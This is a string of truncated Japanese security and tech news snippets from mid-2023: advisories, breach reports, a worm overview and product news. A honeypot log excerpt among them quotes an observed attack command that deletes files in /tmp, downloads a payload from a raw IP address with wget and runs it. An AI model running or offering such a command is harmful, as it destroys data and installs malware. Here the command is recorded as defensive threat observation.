Appleがイギリスの監視法改正案に「治外法権でセキュリティリスクを招くので却下されるべき」と反発
イギリス内務省が提案した調査権限法(IPA)の改正案にAppleが反発し、「エンドツーエンドの暗号化技術を脅かす懸念がある」として改正を却下するよう求めるパブリックコメントを提出しました。 Apple suggests iMessage and FaceTime could be withdrawn in UK over law change | Apple | The Guardian https://www.theguardian.com/technology/2023/jul/20/uk-surveillance-law-changes-could-force-apple-to-withdraw-security-features Here is Apple's 9-page response to the UK snooper's charter https://www.apple
【セキュリティ ニュース】フォーム設定ミスで研修申込者の個人情報が閲覧可能に - 茨城県発達障害者支援センター（1ページ目 / 全1ページ）：Security NEXT
茨城県は、茨城県発達障害者支援センター「COLORSつくば」において、研修申込者の個人情報がフォーム上から閲覧できる状態になっていたことを明らかにした。 同県によれば、同仁会に運営を委託している同センターにおいて、自治体職員向け研修の申し込みをGoogleフォームにて受け付けたが、設定ミスにより申込者の個人情報がフォーム上から閲覧できる状態となっていたもの。研修申込者58人分の氏名、電話番号、所属、年代、メールアドレスなどが参照可能だった。 7月12日に研修参加者から問い合わせがあり、問題が判明。申し込みは6月12日から7月3日まで受け付けたが、締め切り後も7月12日11時まで個人情報を閲覧できる状態だった。 同県では対象となる申込者に対し、経緯の説明と謝罪を行っている。今後はマニュアルを用意するほか、フォーム作成時に複数職員で確認を行なうなど、再発の防止を図るとしている。 （Securi
Amazonが手のひらをかざすだけで支払い可能な決済サービス「Amazon One」をアメリカのホールフーズ・マーケット全店に導入することを発表
Amazonでは、クレジットカードと自身の手のひらを紐付けて決済可能にする生体認証サービス「Amazon One」をアメリカの一部の店舗で導入しています。そんなAmazon Oneを、アメリカ国内に200店舗以上を構えるスーパーマーケットチェーン「ホールフーズ・マーケット」の全店舗に2023年の年末までに導入することを発表しました。 Amazon One checkout coming to all Whole Foods stores in the U.S. https://www.aboutamazon.com/news/retail/amazon-one-whole-foods-market-palm-scanning Amazon to add pay-by-palm tech to all Whole Foods stores by year end https://www.cn
閲覧履歴を元に興味・関心をブラウザが推測して広告主と共有する機能など、プライバシーサンドボックスに含まれるAPIを段階的に有効化していくとGoogleが発表
あるサイトで商品を見た後に、全く別のサイトでその商品の広告が表示されたという経験を持つ人は多いはず。Googleはそうしたサイト間でのユーザーの追跡を防いでプライバシーを守る取り組みとして「プライバシーサンドボックス」を推し進めています。GoogleはChromeにおいて、プライバシーサンドボックスの取り組みの一環として「関連性と測定のAPI」を2023年7月24日の週から段階的に有効化していくと発表しました。閲覧履歴を元に興味・関心を推測する機能である「Topics API」を始め、合計6つのAPIが追加される予定です。 Shipping the Privacy Sandbox relevance and measurement APIs - Chrome Developers https://developer.chrome.com/en/blog/privacy-sandbox-la
米アマゾン、手のひら認識決済システム「Amazon One」ホールフーズマーケット全店舗に利用拡大
米アマゾンは7月20日（現地時間）、全米500店舗以上のホールフーズ・マーケットの全店舗で同社が展開する手のひら認証決済サービス「Amazon One」を導入、決済およびプライム会員特典を提供すると発表した。 事前登録後、店舗で手のひらをスキャンすればOK 2020年9月にサービス開始されたAmazon One。当初は同社が運営する無人決済店舗「Amazon Go」で導入が始まり、「Amazon Fresh」「Amazon 4-star」「Amazon Books」などの系列店舗、2017年に137億ドルで買収した傘下の高級スーパー、ホールフーズ・マーケットなどを中心に導入が拡大、現在はサードパーティの事業者がAmazon Oneを顧客の本人確認や支払いオプションとして提供するケースも増えている。 現在Amazon Oneは、全米400以上のホールフーズ・マーケット店舗で、本人確認、支払い
Apple、英当局のプライバシー新方針にノー〜iMessageのサービス停止を勧告 - iPhone Mania
Apple、英当局のプライバシー新方針にノー〜iMessageのサービス停止を勧告 2023 7/21 Appleは、英国政府がメッセージングサービスにエンドツーエンド暗号化のバックドアを提供することを義務付ける法案が成立する可能性に直面し、英国内でiMessageおよびFaceTimeをサービス停止する、と勧告しました。 ■3行で分かる、この記事のポイント 1. 英政府はメッセージングサービスのプライバシーを弱める新法案を審議中。 2. Appleは全面的にノーを突きつけており、意見書も提出している。 3. 英国内でのみiMessageとFaceTimeがサービス停止となる可能性がある。 Appleは9ページにわたる意見書を提出 英国内で新しいオンライン安全法案が現在審議されていますが、Apple、WhatsApp、Signal、その他のサービスは、この提案に反対の声を上げています。 英
【日本初】GPTを使ったAI法律相談サービスが登場 法律関連でカスタマイズ 法的問題発生時に無料で即座にアドバイスがもらえる - ロボスタ ロボスタ - ロボット情報WEBマガジン
AIソリューションを提供するリーガルテック企業 Legal AIは、OpenAIのGPTを法律関連に特化し独自のカスタマイズを行い開発したAI法律相談サービスを無料で提供すると発表した。 法的な知見を持たない一般の人々が法的問題に直面した際に、即座にアドバイスを与えるという観点で非常に有用であるとしている。 現段階では人間の法律家・弁護士の補助的な位置づけ AI法律相談サービスとは、AI技術を駆使して法律的な問題解決や助言を提供するシステムを指し、AIの進化により、法令文や判例、論文などの膨大な情報を素早く解析し、ユーザーの法的問題について具体的な解答を出すことが可能となった。 また、時間や場所を問わず利用できるため、法律サービスのアクセシビリティを向上させる役割も果たす。 ただし、現段階では人間の法律家・弁護士の補助的な位置づけであり、全ての法的問題を正確に解決するわけではなく、AIはあ
Apple、ビジネス向けのセキュリティ機能を紹介する新たなページを公開 - iPhone Mania
ある企業のチームの一員が、ビジネス用のMacBookを盗まれてしまい、取り戻そうと奔走する新たな動画広告が公開されましたが、Appleはビジネス向けのセキュリティ機能を紹介する新たなページを公式Webサイト上に立ち上げたことが明らかになりました。 ■3行で分かる、この記事のポイント 1. Appleは、ビジネス向けのセキュリティ機能を紹介する新たなページを立ち上げた。 2. ハードウェアとソフトウェアは、最大限のセキュリティを実現するために共に設計されているという。 3. デバイスにはマルウェアやウイルスからの保護を提供する堅牢な機能が組み込まれているとのこと。 現在のところ英語ページのみ公開 Apple公式サイト上の「Apple at Work」の「Enterprise（企業）」セクションに、新たにセキュリティのページが設けられているとの報告がありました。ページは、以下の4つの項目で構成
ドコモの「ぷらら」「ひかりTV」で約596万件の個人情報流出 委託先の元派遣社員が不正に持ち出し
NTTドコモが7月21日、個人向けインターネット接続サービス「ぷらら」と映像サービス「ひかりTV」契約者の情報が流出したことを案内した。 2023年3月31日、ぷららとぷららTVの業務を委託している企業が使用しているPCから、個人情報が流出した可能性があることを、ネットワーク監視によって確認した。その後の内部調査により、業務委託先であるNTTネクシアの元派遣社員が、業務用PCから個人で契約する外部ストレージにアクセスし、2023年3月30日に個人情報を含む業務情報を不正に持ち出したことが判明した。 不正に持ち出された個人情報の件数は約596万件。内訳は、ぷららが165万件、ひかりTVが431万件。3月31日時点では最大約529万件としていたが、その後の調査で約596万件だと分かった。不正に持ち出された情報の内容は、ぷららが氏名、住所、電話番号、フレッツ回線ID、お客さま番号の一部、ひかりT
スカパーJSATに不正アクセス 従業員になりすましてサーバに侵入か
スカパーJSATは7月21日、不正アクセスにより従業員や取引先担当者の個人情報が漏えいした可能性があるとして謝罪した。攻撃者は同社子会社の従業員になりすまして社内サーバにアクセスしたとみられる。 不正アクセスに気付いたのは6月1日。子会社とスカパーJSATをつなぐ「ターミナルサーバ」に不自然なアクセスログがあったため調査して判明した。外部専門機関による調査の結果、不正アクセスされたファイルが持ち出された可能性が高いことが分かったという。 漏えいした可能性がある情報は取引先担当者の氏名、電話番号、メールアドレス、所属、所属先住所など76人分と、スカパーJSAT従業員の氏名、電話番号、メールアドレス、所属など1375人分。 侵入経路になったと思われるネットワークを遮断し、ターミナルサーバをシャットダウンして以降は不正アクセスが確認されていないという。 今後は攻撃の詳細を調査するとともに、情報セ
アクロニス、「医療機関のサイバーセキュリティにおける脆弱性トップ７」を発表
サイバープロテクションのグローバルリーダーであるAcronis の日本法人であるアクロニス・ジャパン株式会社（本社: 東京都港区、代表取締役社長：川崎 哲郎、以下アクロニス）は、本日「医療機関のサイバーセキュリティにおける脆弱性トップ7」を公開しました。 これは、アクロニスのグローバル最高営業責任者Katya Ivanova（カーチャ・イワノワ）によるもので、医療機関のサイバーセキュリティを考えた際に弱点になる点、および米国で公開された医療機関のチェックするべきリストを紹介したものです。 「医療機関のサイバーセキュリティにおける脆弱性トップ７」 ●公開の背景： 医療機関に託される情報は、サイバー犯罪者にとって非常に価値があるものです。医療記録には機密情報が多く含まれるからです。そのため医療機関への攻撃はサイバー犯罪者の間で流行となっています。医療機関から盗んだ患者のデータなどは、架空請求、
保護されたシステムファイルも置き換えられる脆弱性 ｜ブログ(ほぼこもセキュリティニュース)｜(株)コンステラ セキュリティ ジャパン
VPN製品にはいろいろな製品がありますが、その一つにCisco AnyConnectというものがあります。 このVPN製品のクライアントソフトウェアに脆弱性があり、修正された新しいバージョンが案内されています。 存在してしまっていた脆弱性は何なのかとみると、VPN接続時に更新動作が自動実行され、その際に任意のファイルを削除してしまうことが脆弱性だというのです。 一体どういうことなのでしょう。 VPNの接続が開始されると更新動作が開始される 更新動作は、後述のインストーラーを起動するというものです。 脆弱なインストーラーはインストール操作に必要なファイルを用意する 一時ディレクトリの下にランダムな部分を含む名前でディレクトリを作ります。 そしてその中身が空っぽでなかった場合にその中身を全部削除します。 以上が、脆弱性のある問題動作になっています。 普通のことに思えます。 どうしてこれが脆弱性
Software Security
Sorry, not available in this language yet English 日本語 アプリケーション・セキュリティ・ブログ 最新の記事 Blog 1 min read / Aug 15, 2024 シノプシス ソフトウェア・インテグリティ・グループの新しいアイデンティティ By Jason Schmitt Tags: Software Integrity, セキュリティ・ニュースおよびトレンド Read Article Blog 1 min read / Jul 03, 2024 ソフトウェアサプライチェーンのセキュリティリスクの変化 By Fred Bals Tags: ソフトウェア・コンポジション解析（SCA）, SIG, Software Integrity, ソフトウェア・サプライチェーンをセキュアに Read Article Blog 1 min read
【セキュリティ ニュース】「BIND 9」に複数の脆弱性 - 異常終了のおそれ（1ページ目 / 全1ページ）：Security NEXT
Internet Systems Consortium（ISC）が提供するDNSサーバ「BIND 9」に複数の脆弱性が明らかとなり、現地時間6月21日にアップデートがリリースされた。関連機関からも注意喚起が行われている。 同ソフトウェアに2件の脆弱性「CVE-2023-2828」「CVE-2023-2911」が明らかとなったもの。「CVE-2023-2828」は、キャッシュDNSサーバにおいて、リモートから細工したリクエストを送りつけることでメモリを枯渇させることが可能となる脆弱性。サービス拒否に陥るおそれがある。 また「CVE-2023-2911」では、特定の条件下でルックアップ処理のループが生じ、スタックオーバーフローによって予期せず終了するおそれがある。 いずれも共通脆弱性評価システム「CVSSv3.1」においてベーススコアは「7.5」と評価されており、重要度は2番目に高い「高（Hi
【セキュリティ ニュース】「FortiOS」のVPN機能にあらたな脆弱性 - 既存アップデートで修正済み（1ページ目 / 全1ページ）：Security NEXT
「FortiOS」「FortiProxy」の「SSL VPN」機能にあらたな脆弱性「CVE-2023-33306」が明らかとなった。 Fortinetが現地時間6月16日にアドバイザリをリリースし、明らかにしたもの。同社では同月12日に「CVE-2023-27997」をはじめ、「FortiOS」に関する11件の脆弱性を公表しているが、異なる脆弱性としている。 NULLポインタデリファレンスの脆弱性で、悪用には認証が必要となるが細工したリクエストによって「SSL VPN」サービスがサービス拒否に陥るおそれがある。 同社は、共通脆弱性評価システム「CVSSv3.1」のベーススコアを「6.5」、重要度を5段階中、上から3番目にあたる「中（Medium）」とレーティングしている。 同脆弱性は、「同7.2.5」をはじめ、すでに提供されている「同7.0.11」や「同6.4.13」「FortiProxy
ゼロから分かる AlmaLinux
～ CentOS の移行先候補、AlmaLinux とは ～ CentOS の移行先候補として注目されている AlmaLinux。 なぜ AlmaLinux が注目されているのか、AlmaLinux の成り立ちや特長などをご紹介します。 CentOS のサポート終了 Red Hat Enterprise Linux（RHEL） の代表的なクローン OS である CentOS は、安定した実績があり、日本語での情報量も多く、初心者の方から企業システムでの利用まで、幅広く利用されています。 しかし、2020 年 12 月に開発元の CentOS Project より、CentOS 8 の開発を 2021 年 12 月末に終了し、CentOS 9 はリリースせず、今後の開発は CentOS Stream へフォーカスすることが発表されました。CentOS Stream は常にアップデートが行われ
TetragonでeBPFとセキュリティオブサーバビリティ入門 | フューチャー技術ブログ
CNCF連載 の4本目です。 はじめに数年前にクラウドネイティブ注目技術として挙げられたeBPFにかねてよりキャッチアップしたいなと思っていたので、この連載のタイミングでeBPFとその関連プロダクトに入門してみることにしました。 CNCFプロジェクト傘下のeBPFを活用したプロダクトとしてはCilium, Falcoなどが挙げられます。CiliumはKubernetesなどのクラウドネイティブな環境でネットワーク、オブサーバビリティの機能を提供するOSSなのですが、今回はそのいわばサブプロジェクト的な位置づけのセキュリティツールである、Tetragonに触ってみます。 Cilium, Tetragonの開発をメイン行っているIsovalent社は、書籍やハンズオンラボなどで自社の製品・eBPFについての学習リソースを多く提供しています。 https://isovalent.com/reso
サイレント SMS と SMS 配信リポートを用いて受信者の現在位置を特定するサイドチャネル攻撃 | スラド セキュリティ
サイレント SMS と SMS 配信リポートを用い、ターゲットの現在地を特定するサイドチャネル攻撃「Freaky Leaky SMS」を米ノースイースタン大学などの研究グループが発表している (BleepingComputer の記事、 論文: PDF)。 もともとサイレント SMS はデバイスの電源が入っているかどうかをモバイルキャリアが確認するための機能で、受信側には何も表示されず、記録も残らない。捜査当局などが受信者に知られず居所を確認するため利用することもあるが、これにはキャリアの協力か偽基地局の設置が必要だ。 これに対し、Freaky Leaky SMS はサイレント SMS を送信してから配信リポートが返されるまでの時間を用いて機械学習で場所を推定するため、キャリアの協力は不要だ。具体的には、ターゲットの現在位置が分かっているときにサイレントSMSを送り、所要時間から場所ごとの
脆弱性管理クラウド「yamory」、MSPプランの提供を開始
脆弱性管理クラウド「yamory」、MSPプランの提供を開始～トランスコスモス・デジタル・テクノロジーとのパートナー契約を締結、脆弱性管理分野のサービス開発を支援～ Visionalグループが運営する、脆弱性管理クラウド「yamory（ヤモリー）」（https://yamory.io/ 以下、yamory）は、企業のネットワークやサーバーなどのITインフラの運用管理・保守メンテナンスを提供するマネージド・サービス・プロバイダ（MSP）向けの専用ライセンス「MSPプラン」の提供を開始したことをお知らせいたします。 またこの度、株式会社トランスコスモス・デジタル・テクノロジー（本社：神奈川県横浜市／代表取締役社長：外山勝利／以下、トランスコスモス・デジタル・テクノロジー）とのパートナー契約を締結し、「MSPプラン」の提供による脆弱性管理分野のサービス開発支援を開始いたしました。 ニーズが急速に
位置情報サービスにプライバシーを侵害される？
位置情報サービスがどのように機能するか、スマートフォンが位置を特定すると誰があなたの位置を知るのかについて学びましょう。 スマートフォン用チップの大手ベンダーであるクアルコムが、自社のジオロケーション・サービスでユーザーを追跡していたというニュースは、最近、技術系メディアでちょっとした波紋を呼んでいます。今回ブログでは、その話の真実と誤解をお話しすると同時に、望まない位置情報のトラッキングを最小限に抑える方法について説明します。まずはじめに、位置情報が実際にどのように機能するかを見てみましょう。 スマホがあなたの位置を特定する方法 従来のジオロケーションは、GPS、GLONASS、Galileo、または北斗システムから、衛星信号を受信する方法です。このデータをもとに、受信機（スマホやナビゲーションデバイスのチップ）が計算し、その位置を特定します。この方法は、かなり正確に位置を特定することが
ITRの調査レポートで「Vex」がWebアプリケーション脆弱性管理市場のシェアNo.1を獲得
株式会社ユービーセキュア（以下、ユービーセキュア）が自社開発するWebアプリケーション脆弱性検査ツール「Vex」は、株式会社アイ・ティ・アール （以下「ITR」）の調査レポート「ITR Market View：サイバー・セキュリティ対策市場2023」において、Webアプリケーション脆弱性管理市場 売上金額シェア（2022年度予測）No.1 を獲得しました。 【図】Webアプリケーション脆弱性管理市場におけるベンダー別売上金額シェア 出所：ITR調査「ITR Market View：サイバー・セキュリティ対策市場2023」Web アプリケーション脆弱性管理市場／ベンダー別売上金額シェア（2022年度予測）よりユービーセキュアが作成 Webアプリケーション脆弱性検査ツール「Vex」は、2007年9月の販売開始から機能・操作性・サポート体制が評価され、大手SIerや国内セキュリティベンダー各社を
ウインドリバー、Linuxのセキュリティ脆弱性スキャンサービスを提供開始
ウインドリバー、Linuxのセキュリティ脆弱性スキャンサービスを提供開始～ライフサイクルを通じた修復と長期的なメンテナンスへの道筋を提供～ 2023年6月6日 — カリフォルニア州アラメダ発 — ミッションクリティカルなインテリジェントシステム向けソフトウェアを提供する世界的なリーダー、ウインドリバーは、Wind River Studio Linux CVEスキャンサービス（*1）の提供を開始しました。本サービスは、共通脆弱性識別子（CVE）を特定し、オープンソースパッケージのリスク状況を把握することが可能なプロフェッショナルグレードのスキャンサービスです。組込み Linux 開発特有のニーズに対応するほか、ウインドリバーから修正やパッチなど、特定のCVEに対する対応策の公開状況も提供します。CVEスキャンサービスは、現在無償でご利用いただけます。 ウインドリバーの最高顧客責任者、アミット
【セキュリティ ニュース】「Grafana」に脆弱性 - アカウント乗っ取りのおそれ（1ページ目 / 全1ページ）：Security NEXT
データの可視化プラットフォーム「Grafana」の一部認証機能に深刻な脆弱性が明らかとなった。アップデートが提供されている。 「同6.7.0」以降の特定環境下において認証をバイパスされ、アカウントを乗っ取られるおそれがある脆弱性「CVE-2023-3128」が明らかとなったもの。 「Azure AD」のアカウント検証にメールを用いているが、「Azure AD」のプロフィールにあるメールフィールドは、テナント間においてユニークな値とはなっておらず、自由に内容を変更できるため、「Azure AD OAuth」がマルチテナントアプリで構成されている場合に認証を回避されるおそれがあるという。 Grafana Labsでは、共通脆弱性評価システム「CVSSv3.1」において、同脆弱性のベーススコアを「9.4」と評価。重要度をもっとも高い「クリティカル（Critical）」とレーティングしている。 6
JVN#97127032: WordPress 用プラグイン Snow Monkey Forms におけるディレクトリトラバーサルの脆弱性
JVN#97127032 WordPress 用プラグイン Snow Monkey Forms におけるディレクトリトラバーサルの脆弱性 株式会社モンキーレンチが提供する WordPress 用プラグイン Snow Monkey Forms には、ディレクトリトラバーサルの脆弱性が存在します。 Snow Monkey Forms v5.1.1 およびそれ以前のバージョン 【2023/07/14 追記】 本件を 2023年6月27日に公表した時点では、影響を受ける製品のバージョンは 5.1.0 およびそれ以前としていましたが、その後報告者が確認したところ、修正不十分であったことが判明し、改めて修正版となる 5.1.2 がリリースされました。
【セキュリティ ニュース】生産終了したNEC製ルータ17機種に複数脆弱性 - 修正予定なし（1ページ目 / 全1ページ）：Security NEXT
NEC製の家庭向けルータ「Aterm WG2200HP」など17機種に複数の脆弱性が明らかとなった。修正の予定はなく、後継製品などへの移行が呼びかけられている。 同社によれば、「Aterm WG2200HP」など17機種においてあわせて4件の脆弱性が明らかとなったもの。ルータモードやブリッジモードで利用し、USBポートへUSBストレージを接続している場合に「ディレクトリトラバーサル」の脆弱性「CVE-2023-3330」「CVE-2023-3331」の影響を受ける。 またこれら脆弱性を悪用することで、さらに「OSコマンドインジェクション」の脆弱性「CVE-2023-3333」や「クロスサイトスクリプティング（XSS）」の脆弱性「CVE-2023-3332」が悪用可能となり、任意のスクリプトやOSコマンドを実行されるおそれがある。 三井物産セキュアディレクションの塚本泰三氏が情報処理推進機構
JVNVU#91710192: Hitachi Energy製FOXMAN-UNおよびUNEMにおける不適切なログ出力の無効化の脆弱性
JVNVU#91710192 Hitachi Energy製FOXMAN-UNおよびUNEMにおける不適切なログ出力の無効化の脆弱性 FOXMAN-UN R16A FOXMAN-UN R15B FOXMAN-UN R15A FOXMAN-UN R14B（すべてのサブバージョンを含む） FOXMAN-UN R14A（すべてのサブバージョンを含む） FOXMAN-UN R11B（すべてのサブバージョンを含む） FOXMAN-UN R11A（すべてのサブバージョンを含む） FOXMAN-UN R10C（すべてのサブバージョンを含む） FOXMAN-UN R9C（すべてのサブバージョンを含む） UNEM R16A UNEM R15B UNEM R15A UNEM R14B（すべてのサブバージョンを含む） UNEM R14A（すべてのサブバージョンを含む） UNEM R11B（すべてのサブバージョン
【セキュリティ ニュース】Synology製NASのアドオンパッケージに深刻な脆弱性（1ページ目 / 全1ページ）：Security NEXT
SynologyのNAS製品向けに提供されているアドオンパッケージに深刻な脆弱性が明らかとなった。アップデートが提供されている。 「Synology DiskStation Manager（DSM）」に提供されているアドオンパッケージのウェブメールサービス「Mail Station」に複数の脆弱性が明らかとなったもの。 「SQLコマンド」や任意のスクリプト、HTMLタグの挿入が可能になるという。同社において識別子「Synology-SA-23:09」にて取り扱われているが、アドバイザリを公開した6月27日の時点でCVE番号は示されていない。 同社は重要度をもっとも高い「クリティカル（Critical）」とレーティング。修正版をリリースしており、アップデートを呼びかけている。 （Security NEXT - 2023/06/28 ） ツイート
【セキュリティ ニュース】WordPress向けソーシャルログイン用プラグインに深刻な脆弱性（1ページ目 / 全1ページ）：Security NEXT
コンテンツマネジメントシステム（CMS）の「WordPress」向けに提供されているminiOrange製プラグイン「WordPress Social Login and Register」に深刻な脆弱性が明らかとなり、アップデートにて修正された。実証コードも公開されている。 同ソフトウェアは、大手サービスやSNSなどのアカウントを用い、「WordPress」へのログインが可能となるいわゆる「ソーシャルログイン」の機能を追加するプラグイン。「WooCommerce」「MailChimp」など他プラグインとの連携にも対応している。 同プラグインでは、暗号化に用いるキーをハードコードしている脆弱性「CVE-2023-2982」が存在。既存利用者のメールアドレスを把握していれば、リモートより認証を突破してログインが可能となる。管理者などのアカウントも対象で、ウェブサイトそのものを乗っ取られるおそ
【なぜ？】Metaが音声生成AIを一般リリースしないことを決定 | Ubergizmo JAPAN
Meta(旧 Facebook)は、「Voicebox」と呼ばれる音声複製AIテクノロジーをリリースしないという決定で、最近注目を集めました。この画期的なAIモデルは、驚くべき精度で音声を複製及び模倣するという驚くべき能力を備えています。その優れた機能にも関わらず、Metaは、その誤用に伴う潜在的なリスクと危険性を理由にこの技術を一般公開しないことを選択しました。 Metaのプレスリリースでは、Voiceboxは幅広い用途を備えた強力なツールであると説明されています。オーディオ編集目的にも利用可能で、録音から不要なサウンドを除去することが出来ます。さらに、多言語音声生成機能を備えているため、メタバース内の仮想アシスタントやノンプレイヤーキャラクターに対して自然な音声を作成出来ます。Voiceboxは、書かれたメッセージを、友人の声を使って読み上げることも出来るので、視覚障害者の支援も目指し
「緊急」脆弱性の97％は緊急性が低い--Datadog調査
印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます Datadog Japanは6月28日、DevOps組織を標的とする脆弱性と脅威に関する「アプリケーションセキュリティ調査レポート」を発表した。これは、同社の顧客から得た実際のデータを分析したもので、「緊急とされた脆弱性のうち、実際にリスクが高く、優先的に取り組む必要があるものは3％に過ぎない」ことが分かったとしている。 同社は脆弱性のリスク評価に当たって重要なのは「コンテキスト」だと指摘。脆弱性の潜在的な深刻度に加えてその脆弱性がどのような環境に存在しているのかなどの要因によって実際のリスクは変動することから、コンテキストを踏まえて評価することで深刻とされる脆弱性であっても、その多くは対応の優先度を下げることが可能だとする。限られた対
JVNVU#94519952: 三菱電機製MELSEC-Fシリーズ基本ユニットにおける認証回避の脆弱性
MELSEC-Fシリーズ FX3U-xMy/z x=16,32,48,64,80,128, y=T,R, z=ES,ESS,DS,DSS 全バージョン FX3U-32MR/UA1, FX3U-64MR/UA1 全バージョン FX3U-32MS/ES, FX3U-64MS/ES 全バージョン FX3UC-xMT/z x=16,32,64,96, z=D,DSS 全バージョン FX3UC-16MR/D-T, FX3UC-16MR/DS-T 全バージョン FX3UC-32MT-LT, FX3UC-32MT-LT-2 全バージョン FX3G-xMy/z x=14,24,40,60, y=T,R, z=ES,ESS,DS,DSS 全バージョン FX3GC-32MT/D, FX3GC-32MT/DSS 全バージョン FX3S-xMy/z x=10,14,20,30, y=T,R, z=ES,ESS,D
JVNVU#93767756: ブラザー製debutウェブサーバーを実装している複数のプリンタ機器や複合機（MFP）におけるNULLポインタ参照の脆弱性
JVNVU#93767756 ブラザー製debutウェブサーバーを実装している複数のプリンタ機器や複合機（MFP）におけるNULLポインタ参照の脆弱性
写真で見るCloudNativeSecurityCon 新興ベンダー山盛りのショーケース
CloudNativeSecurityConから、新興セキュリティベンダーを中心にショーケースに出展しているベンダーを紹介する。 CloudNativeSecurityConは、CloudNative Computing Foundation（CNCF）が初めて開催したクラウドネイティブなセキュリティに特化したカンファレンスである。KubeCon＋CloudNativeConとは異なり、セキュリティに特化したコンテンツであるためか、ベンダーがブースを出展するショーケースにおいてもKubeConとは異なるベンダーが多数出展していた。この記事では出展ベンダーのブースを駆け足で紹介したい。 ベンチャーのブース群 Oxeye 最初のベンダーはOxeyeだ。イスラエルのテルアビブで起業したベンチャーで、アプリケーションが依存するライブラリーの脆弱性をチェックするツールを開発している。 ●参考：Oxe
【セキュリティ ニュース】危険な脆弱性タイプ、2023年の「トップ25」（1ページ目 / 全2ページ）：Security NEXT
MITERが運営する国土安全保証システム技術開発研究所は、ソフトウェアの脆弱性を調査し、「2023年の危険な脆弱性タイプトップ25」を発表した。 2021年、2022年にCVE番号が付与された4万3996件の脆弱性について、共通脆弱性評価システム「CVSS」で分類された「CWE（Common Weakness Enumeration）」をもとに分析。ランキングとして取りまとめたもの。 評価にあたっては米国立標準技術研究所（NIST）の脆弱性データベース「NVD」における分類を活用。重要度なども考慮してスコアを算出した。米サイバーセキュリティインフラストラクチャセキュリティ庁（CISA）の「悪用が確認された脆弱性カタログ（KEV）」における登録状況なども示している。 もっとも危険とされた脆弱性タイプは、前回2022年から変わらず「域外への書き込み（CWE-787）」。「KEV」においても70
Software Security
Sorry, not available in this language yet English 日本語 アプリケーション・セキュリティ・ブログ 最新の記事 Blog 1 min read / Aug 15, 2024 シノプシス ソフトウェア・インテグリティ・グループの新しいアイデンティティ By Jason Schmitt Tags: Software Integrity, セキュリティ・ニュースおよびトレンド Read Article Blog 1 min read / Jul 03, 2024 ソフトウェアサプライチェーンのセキュリティリスクの変化 By Fred Bals Tags: ソフトウェア・コンポジション解析（SCA）, SIG, Software Integrity, ソフトウェア・サプライチェーンをセキュアに Read Article Blog 1 min read
新たなオウンドメディア『WPセキュリティ』が登場！ WordPressの脆弱性対策に貢献
Webシステム・インフラ構築サービスを展開し、企業様のクラウド技術による業務のデジタル化・ビジネス変革を支援するICT株式会社（本社：兵庫県姫路市 代表取締役社長：宇治貴博 以下、ICT）は、WordPressへのサイバー攻撃対策情報を配信するオウンドメディア『WPセキュリティ』を2023年6月30日にリリースいたします。毎日9時～18時の間、1時間ごとに最新のWordPress脆弱性情報と対処法を配信。それ以外にもサイバー攻撃の事例をまとめたコラムなど、様々な切り口からWordPressのセキュリティ対策情報をお届けします。 WordPress脆弱性情報オウンドメディア『WPセキュリティ』 https://wpsecurity.jp/ ■他人事ではないサイバー攻撃。強固なセキュリティ対策が求められるWordPress。 企業の顔であるHP。それらのWebサイトのうち、約4割がWordPr
2023/07/15 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ
ハニーポット(仮) 観測記録 2023/07/15分です。 特徴 共通 PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス CensysInspectによるスキャン行為 /.envへのスキャン行為 /.gitへのスキャン行為 phpMyAdminへのスキャン行為 Location:JP D-link製品の脆弱性を狙うアクセス zgrabによるスキャン行為 .jsへのスキャン行為 UserAgentがHello, worldであるアクセス を確認しました。 /shellに対する以下のアクセスを確認しました。 cd /tmp; rm -rf *; wget 94.158.247.123/jaws; sh /tmp/jaws Location:US Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス GPONルータの脆弱性を狙うアクセス L
P2PInfect：自己複製型P2Pワーム ｜ブログ(ほぼこもセキュリティニュース)｜(株)コンステラ セキュリティ ジャパン
P2PInfectは自己複製ワーム型マルウェアです。 嫌な特徴をいくつか持つ仕上がりになっています。 入口は脆弱性 CVE-2022-0543という脆弱性があります。 これはRedisというネットワーク接続された永続化可能なインメモリデータベースの実装に含まれるLua機能部分にある脆弱性です。 この脆弱性がある状態において、リモートから接続しLuaのサンドボックスをエスケープしてホスト側でコードを実行することができる可能性があります。 入口が脆弱性であるため、被害者側での人の誤った操作などの介入は侵害に必要ありません。 ひっそりと侵害が開始されます。 第一段階はP2P構築 脆弱性を悪用してまずはP2Pネットワークが侵害環境に構築されます。 P2PはPeer-to-Peerです。 これが活動の基盤となります。 攻撃準備 P2Pの動作が可能になると、P2Pネットワークを利用し、実際の活動に必要
スカパーJSAT、サーバーに不正アクセス--従業員の個人情報などが漏洩か
スカパーJSATは7月21日、社内サーバーに対し、不正アクセスを受けたと発表した。不正アクセスされたファイルの中に、取引先の担当者とスカパーJSATの従業員等の個人情報が含まれていたという。なお、不正アクセスされたファイルの中には、「スカパー！」や「SPOOX」などの放送・配信サービスとその他の関連サービスの契約者情報は含まれていないとしている。 スカパーJSATによると、6月1日にオフィスオートメーションシステム上のターミナルサーバーに不自然なアクセスログを発見したため、調査を開始。6月7日、外部専門機関へのフォレンジック調査を依頼し、6月8日、不正アクセスがあった場合の拡大を防ぐために、侵入経路と考えられるネットワークの遮断及びターミナルサーバのシャットダウンしたという。6月14日に外部専門機関の調査により、第三者によるターミナルサーバーから社内ファイルサーバー等への不正アクセスの痕跡
【セキュリティ ニュース】MS、上位サブスク契約者向けだった詳細ログデータを開放（1ページ目 / 全2ページ）：Security NEXT
マイクロソフトは、インシデント対応などを支援する取り組みとして、クラウドサービスにおける広範なログデータをすべての顧客向けに提供する方針を明らかにした。 インシデントの調査にあたり、重要な役割を果たすクラウドサービスのログデータについて、提供範囲を拡大するもの。グローバルで今後数カ月以内に提供する方針。 具体的には、従来上位のサブスクリプション契約でのみ利用が可能だった「Microsoft Purview Audit」のプレミアムについて、一部機能を「Microsoft Business Basic」や「Microsoft 365 Apps for Business」などでも利用できる標準サービスとして展開する。 30種類を超えるログデータについて、可視化、分析が可能となり、セキュリティイベントの検知やフォレンジック、コンプライアンス監査などに利用できる。デフォルトのログ保存期間も90日か
シトリックスのネットワーク製品に脆弱性、米CISAが警報発令
